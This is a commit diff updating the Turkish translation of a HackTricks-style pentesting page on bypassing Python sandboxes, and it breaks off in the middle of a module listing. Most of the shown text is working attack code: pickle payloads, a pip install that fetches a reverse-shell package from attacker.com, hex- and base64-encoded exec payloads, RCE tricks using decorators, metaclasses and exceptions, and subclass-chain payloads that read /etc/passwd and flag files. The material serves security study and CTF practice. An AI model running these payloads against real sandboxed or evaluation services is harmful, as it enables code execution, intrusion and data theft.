Translated ['src/network-services-pentesting/pentesting-web/django.md',

This commit is contained in:
Translator 2025-08-28 10:29:01 +00:00
parent 6dc9fe8456
commit 3715789b7d
4 changed files with 240 additions and 133 deletions

View File

@ -70,6 +70,7 @@
- [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
- [Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733](generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md)
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
- [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)

View File

@ -2,11 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
Bunlar, python sandbox korumalarını aşmak ve keyfi komutlar çalıştırmak için bazı hilelerdir.
Bunlar python sandbox korumalarını atlatmak ve rastgele komutlar çalıştırmak için bazı hilelerdir.
## Komut Çalıştırma Kütüphaneleri
Bilmeniz gereken ilk şey, bazı önceden içe aktarılan kütüphanelerle doğrudan kod çalıştırıp çalıştıramayacağınız veya bu kütüphanelerden herhangi birini içe aktarabileceğinizdir:
İlk bilmeniz gereken, halihazırda import edilmiş bir kütüphane ile doğrudan kod çalıştırıp çalıştıramayacağınız veya bu kütüphanelerden herhangi birini import edip edemeyeceğinizdir:
```python
os.system("ls")
os.popen("ls").read()
@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
_**open**_ ve _**read**_ fonksiyonlarının, python sandbox'ı içindeki **dosyaları okumak** ve **çalıştırabileceğiniz bazı kodlar yazmak** için yararlı olabileceğini unutmayın.
Unutmayın ki _**open**_ ve _**read**_ fonksiyonları python sandbox içinde dosyaları **okumak** ve sandbox'ı **bypass** etmek için **yürütülebilecek** bazı kodları **yazmak** amacıyla faydalı olabilir.
> [!CAUTION] > **Python2 input()** fonksiyonu, program çökmeden önce python kodu çalıştırmaya izin verir.
> [!CAUTION] > **Python2 input()** function program çökmeden önce python kodu çalıştırmaya izin verir.
Python, **öncelikle mevcut dizinden kütüphaneleri yüklemeye çalışır** (aşağıdaki komut, python'un modülleri nereden yüklediğini yazdıracaktır): `python3 -c 'import sys; print(sys.path)'`
Python varsayılan olarak **önce mevcut dizinden kütüphaneleri yüklemeye çalışır** (aşağıdaki komut python'un modülleri nereden yüklediğini yazdırır): `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
## Varsayılan yüklü python paketleri ile pickle sandbox'ını atlatma
## Bypass pickle sandbox with the default installed python packages
### Varsayılan paketler
Burada **önceden yüklenmiş** paketlerin bir listesini bulabilirsiniz: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Bir pickle'dan, python ortamının sistemde yüklü **rastgele kütüphaneleri içe aktarmasını** sağlayabilirsiniz.\
Örneğin, aşağıdaki pickle yüklendiğinde, pip kütüphanesini kullanmak için içe aktaracaktır:
Önceden yüklenmiş paketlerin **listesini** şurada bulabilirsiniz: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Not: pickle'ten python env'nin sistemde yüklü rastgele kütüphaneleri **import** etmesini sağlayabilirsiniz.\
Örneğin, aşağıdaki pickle yüklendiğinde pip kütüphanesini kullanmak için import edecek:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -66,32 +66,32 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
Daha fazla bilgi için pickle'ın nasıl çalıştığını kontrol edin: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
pickle'in nasıl çalıştığı hakkında daha fazla bilgi için şunu inceleyin: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Pip paketi
**@isHaacK** tarafından paylaşılan hile
Hile **@isHaacK** tarafından paylaşıldı
Eğer `pip` veya `pip.main()` erişiminiz varsa, rastgele bir paketi yükleyebilir ve bir ters shell elde edebilirsiniz:
Eğer `pip` veya `pip.main()`'e erişiminiz varsa, rastgele bir paket yükleyip şu çağrıyı yaparak reverse shell elde edebilirsiniz:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Paketi ters shell oluşturmak için buradan indirebilirsiniz. Lütfen, kullanmadan önce **sıkıştırmayıın, `setup.py` dosyasını değiştirin ve ters shell için IP'nizi girin**:
Reverse shell oluşturmak için paketi buradan indirebilirsiniz. Lütfen, kullanmadan önce **paketi açmanız, `setup.py`'yi değiştirmeniz ve reverse shell için IP'nizi girmeniz gerektiğini** unutmayın:
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!TIP]
> Bu paket `Reverse` olarak adlandırılmıştır. Ancak, ters shell'den çıktığınızda kurulumun geri kalanının başarısız olması için özel olarak hazırlanmıştır, böylece çıktığınızda **sunucuda ekstra bir python paketi bırakmazsınız**.
> Bu paket `Reverse` olarak adlandırılmıştır. Ancak, özel olarak tasarlanmıştır; reverse shell'den çıktığınızda yüklemenin geri kalan kısmı başarısız olur, böylece ayrıldığınızda **sunucuda ekstra hiçbir python package bırakmayacaksınız**.
## Python kodunu Eval etmek
## Eval-ing python code
> [!WARNING]
> exec'in çok satırlı dizelere ve ";" karakterine izin verdiğini, ancak eval'in vermediğini unutmayın (walrus operatörüne bakın)
> exec multiline strings ve ";" kullanımına izin verir, fakat eval izin vermez (walrus operator'ını kontrol edin)
Belirli karakterler yasaksa, kısıtlamayı **bypass** etmek için **hex/oktal/B64** temsilini kullanabilirsiniz:
Belirli karakterler yasaklanmışsa, kısıtlamayı **bypass** etmek için **hex/octal/B64** gösterimini kullanabilirsiniz:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
### Python kodunu değerlendirmeye izin veren diğer kütüphaneler
### eval python code çalıştırmaya izin veren diğer kütüphaneler
```python
#Pandas
import pandas as pd
@ -126,7 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
## Operatörler ve kısa hileler
Ayrıca gerçek dünyada PDF oluşturucularında görülen bir sandboxed evaluator kaçışına da bakın:
- ReportLab/xhtml2pdf triple-bracket [[[...]]] ifade değerlendirmesi → RCE (CVE-2023-33733). Bu, rl_safe_eval'i istismar ederek değerlendirilmiş özniteliklerden (örneğin, yazı tipi rengi) function.__globals__ ve os.system'e ulaşır ve görüntülemeyi istikrarlı tutmak için geçerli bir değer döndürür.
{{#ref}}
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
{{#endref}}
## Operatörler ve kısa püfler
```python
# walrus operator allows generating variable inside a list
## everything will be executed in order
@ -135,9 +143,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## Koruma aşma yöntemleri (UTF-7)
## Kodlamalar aracılığıyla korumaların atlatılması (UTF-7)
In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7, görünürde bir sandbox içinde rastgele python kodu yüklemek ve çalıştırmak için kullanılır:
[**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7, görünürde bir sandbox içinde keyfi python kodunu yüklemek ve çalıştırmak için kullanılmıştır:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -148,13 +156,13 @@ return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
Aynı zamanda `raw_unicode_escape` ve `unicode_escape` gibi diğer kodlamaları kullanarak bunu atlatmak da mümkündür.
Bunu ayrıca başka kodlamalar kullanarak da atlatmak mümkündür, örn. `raw_unicode_escape` ve `unicode_escape`.
## Çağrılar olmadan Python yürütmesi
## Çağrı yapılmadan Python yürütme
Eğer bir python hapishanesindeyseniz ve **çağrı yapmanıza izin verilmiyorsa**, yine de **rastgele fonksiyonlar, kod** ve **komutlar** yürütmenin bazı yolları vardır.
Eğer çağrı yapmanıza izin verilmeyen bir python jail içindeyseniz, yine de **herhangi bir fonksiyonu, kodu** ve **komutları** yürütmenin birkaç yolu vardır.
### [Dekoratörler](https://docs.python.org/3/glossary.html#term-decorator) ile RCE
### RCE [decorators](https://docs.python.org/3/glossary.html#term-decorator) ile
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@ -176,13 +184,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
class _:pass
```
### RCE nesneleri oluşturma ve aşırı yükleme
### RCE creating objects and overloading
Eğer bir **sınıf tanımlayabilir** ve o sınıfın bir **nesnesini oluşturabilirseniz**, **doğrudan çağırmaya gerek kalmadan** **tetiklenebilen** **farklı yöntemler** **yazabilir/üstüne yazabilirsiniz**.
Eğer bir **class** declare edip o class'tan bir **object** create edebiliyorsanız, farklı **methods** yazıp/overwrite ederek bunların doğrudan çağrılmasına gerek kalmadan tetiklenmelerini sağlayabilirsiniz.
#### Özel sınıflarla RCE
#### RCE with custom classes
Bazı **sınıf yöntemlerini** (_mevcut sınıf yöntemlerini üstüne yazarak veya yeni bir sınıf oluşturarak_) **doğrudan çağırmadan** **tetiklendiğinde** **rastgele kod** **çalıştıracak şekilde** değiştirebilirsiniz.
Bazı **class methods**'u (_mevcut **class methods**'larını overwrite etmek veya yeni bir **class** oluşturmak suretiyle_) değiştirerek, bunların doğrudan çağrılmadan tetiklendiğinde **execute arbitrary code** çalıştırmasını sağlayabilirsiniz.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -232,9 +240,9 @@ __iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
```
#### Metaclass'lerle [nesneler oluşturma](https://docs.python.org/3/reference/datamodel.html#metaclasses)
#### [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) ile nesneler oluşturma
Metaclass'lerin bize sağladığı en önemli şey, **bir sınıfın örneğini, yapıcıyı** doğrudan çağırmadan, hedef sınıfı bir metaclass olarak kullanarak yeni bir sınıf oluşturmaktır.
metaclasses'in bize sağladığı temel şey, hedef class'ı metaclass olarak kullanarak yeni bir class oluşturarak **constructor'ı doğrudan çağırmadan bir instance oluşturmak**.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -249,9 +257,9 @@ Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
```
#### Hatalarla nesne oluşturma
#### İstisnalarla nesne oluşturma
Bir **hata tetiklendiğinde** **Exception** nesnesi **oluşturulur** ve doğrudan yapıcıyı çağırmanıza gerek kalmaz (bir [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez) hilesi):
Bir **istisna tetiklendiğinde** doğrudan constructor'ı çağırmanıza gerek kalmadan **Exception** sınıfından bir nesne **oluşturulur** ([**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)'den bir hile):
```python
class RCE(Exception):
def __init__(self):
@ -271,7 +279,7 @@ k + 'import os; os.system("sh")' #RCE abusing __add__
## You can also use the tricks from the previous section to get RCE with this object
```
### Daha Fazla RCE
### Daha fazla RCE
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
@ -293,7 +301,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### Yerleşik yardımcı ve lisans ile dosya oku
### builtins help & license ile dosya oku
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -304,20 +312,24 @@ pass
```
## Builtins
- [**Python2'nin yerleşik fonksiyonları**](https://docs.python.org/2/library/functions.html)
- [**Python3'ün yerleşik fonksiyonları**](https://docs.python.org/3/library/functions.html)
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
Eğer **`__builtins__`** nesnesine erişiminiz varsa, kütüphaneleri içe aktarabilirsiniz (son bölümde gösterilen diğer string temsillerini de burada kullanabileceğinizi unutmayın):
Eğer **`__builtins__`** objesine erişebiliyorsanız kütüphaneleri import edebilirsiniz (burada son bölümde gösterilen diğer string gösterimlerini de kullanabileceğinizi unutmayın):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### No Builtins
### Builtins Yok
`__builtins__` yoksa, hiçbir şey import edemeyecek ve dosyaları okuyup yazamayacaksınız çünkü **tüm global fonksiyonlar** (örneğin `open`, `import`, `print`...) **yüklenmemiştir**.\
Ancak, **varsayılan olarak python birçok modülü belleğe yükler**. Bu modüller masum görünebilir, ancak bazıları **içlerinde tehlikeli** işlevsellikler de barındırır ve bunlara erişilerek **keyfi kod yürütme** sağlanabilir.
When you don't have `__builtins__` you are not going to be able to import anything nor even read or write files as **all the global functions** (like `open`, `import`, `print`...) **aren't loaded**.\
`__builtins__` yoksa hiçbir şey import edemezsiniz, hatta dosya okuyup yazamazsınız çünkü **tüm global fonksiyonlar** (örn. `open`, `import`, `print`...) **yüklenmemiştir**.\
Aşağıdaki örneklerde, bu "**masum**" modüllerden bazılarını **istismar** ederek **tehlikeli** **işlevselliklere** **erişmeyi** nasıl gözlemleyebileceğinizi görebilirsiniz.
However, **by default python imports a lot of modules in memory**. These modules may seem benign, but some of them are **also importing dangerous** functionalities inside of them that can be accessed to gain even **arbitrary code execution**.
Ancak, **varsayılan olarak python belleğe birçok modül import eder**. Bu modüller masum görünebilir, fakat bazıları içinde erişilebilecek şekilde **tehlikeli** işlevsellikler de import eder ve bunlar aracılığıyla hatta **arbitrary code execution** elde edilebilir.
In the following examples you can observe how to **abuse** some of this "**benign**" modules loaded to **access** **dangerous** **functionalities** inside of them.
Aşağıdaki örneklerde, belleğe yüklenmiş bu "**masum**" modüllerden bazılarını nasıl **suistimal** ederek içlerindeki **tehlikeli** **işlevselliklere** **erişebileceğinizi** görebilirsiniz.
**Python2**
```python
@ -359,15 +371,15 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Aşağıda daha büyük bir fonksiyon var**](#recursive-search-of-builtins-globals) yüzlerce/**yer** bulmak için **builtins**'leri bulabilirsiniz.
[**Aşağıda daha büyük bir fonksiyon var**](#recursive-search-of-builtins-globals) builtins'i bulabileceğiniz onlarca/**yüzlerce** **yer** bulmak için.
#### Python2 ve Python3
#### Python2 and Python3
```python
# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
```
### Yerleşik yükler
### Builtins payloads
```python
# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
@ -375,9 +387,9 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
```
## Globals ve locals
## Globals and locals
**`globals`** ve **`locals`** kontrol etmek, erişebileceğiniz şeyleri bilmenin iyi bir yoludur.
Erişebileceklerinizi öğrenmek için **`globals`** ve **`locals`**'ı kontrol etmek iyi bir yoldur.
```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -401,15 +413,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**Aşağıda daha büyük bir fonksiyon var**](#recursive-search-of-builtins-globals) yüzlerce/**yer** bulmak için **globals**.
[**Aşağıda daha büyük bir fonksiyon var**](#recursive-search-of-builtins-globals) globals'ı bulabileceğiniz onlarca/**yüzlerce** **yeri** bulmak için.
## Keyfi İcra Keşfi
## Keyfi yürütmeyi keşfetme
Burada, **daha tehlikeli işlevsellikleri** kolayca nasıl keşfedeceğimi ıklamak ve daha güvenilir istismarlar önermeyi amlıyorum.
Burada **daha tehlikeli işlevlerin yüklü olduğunu** kolayca nasıl keşfedeceğimi ve daha güvenilir exploits önereceğimi açıklamak istiyorum.
#### Bypass ile alt sınıflara erişim
#### Bypass'larla alt sınıflara erişim
Bu tekniğin en hassas kısımlarından biri, **temel alt sınıflara erişim** sağlamaktır. Önceki örneklerde bu `''.__class__.__base__.__subclasses__()` kullanılarak yapılmıştı, ancak **diğer olası yollar** da vardır:
Bu tekniğin en hassas kısımlarından biri **base subclasses'a erişebilmek** yeteneğidir. Önceki örneklerde bu `''.__class__.__base__.__subclasses__()` kullanılarak yapılmıştı ancak **başka olası yollar** da vardır:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -437,18 +449,18 @@ defined_func.__class__.__base__.__subclasses__()
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
```
### Tehlikeli kütüphaneleri bulma
### Yüklenmiş tehlikeli kütüphaneleri bulma
Örneğin, **`sys`** kütüphanesi ile **rastgele kütüphaneleri içe aktarmanın** mümkün olduğunu bilerek, **içinde sys bulunan tüm yüklü modülleri arayabilirsiniz**:
Örneğin, **`sys`** kütüphanesiyle **import arbitrary libraries** yapılabildiğini biliyorsanız, içinde `sys` import edilmiş olan tüm **modules loaded** modüllerini arayabilirsiniz:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
Birçok var, ve **sadece birine** ihtiyacımız var komutları çalıştırmak için:
Birçok tane var, ve **sadece birine** komut çalıştırmak için ihtiyacımız var:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
Aynı şeyi **komutları çalıştırmak** için kullanılabileceğini bildiğimiz **diğer kütüphanelerle** de yapabiliriz:
Aynı şeyi, **other libraries** ile de yapabiliriz; bunların **execute commands** için kullanılabildiğini biliyoruz:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -483,7 +495,7 @@ Aynı şeyi **komutları çalıştırmak** için kullanılabileceğini bildiğim
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
Ayrıca, hangi modüllerin kötü niyetli kütüphaneleri yüklediğini de arayabiliriz:
Ayrıca hangi modüllerin kötü amaçlı kütüphaneler yüklediğini bile arayabiliriz:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -502,7 +514,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
Ayrıca, **diğer kütüphanelerin** **komutları çalıştırmak için fonksiyonları çağırabileceğini** düşünüyorsanız, olası kütüphaneler içindeki **fonksiyon adlarına göre de filtreleyebiliriz:**
Ayrıca, eğer **diğer kütüphanelerin** **komut çalıştırmak için fonksiyonları çağırabilme** ihtimali olduğunu düşünüyorsanız, olası kütüphaneler içinde **fonksiyon isimlerine göre filtreleyebiliriz**:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -535,10 +547,10 @@ execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, 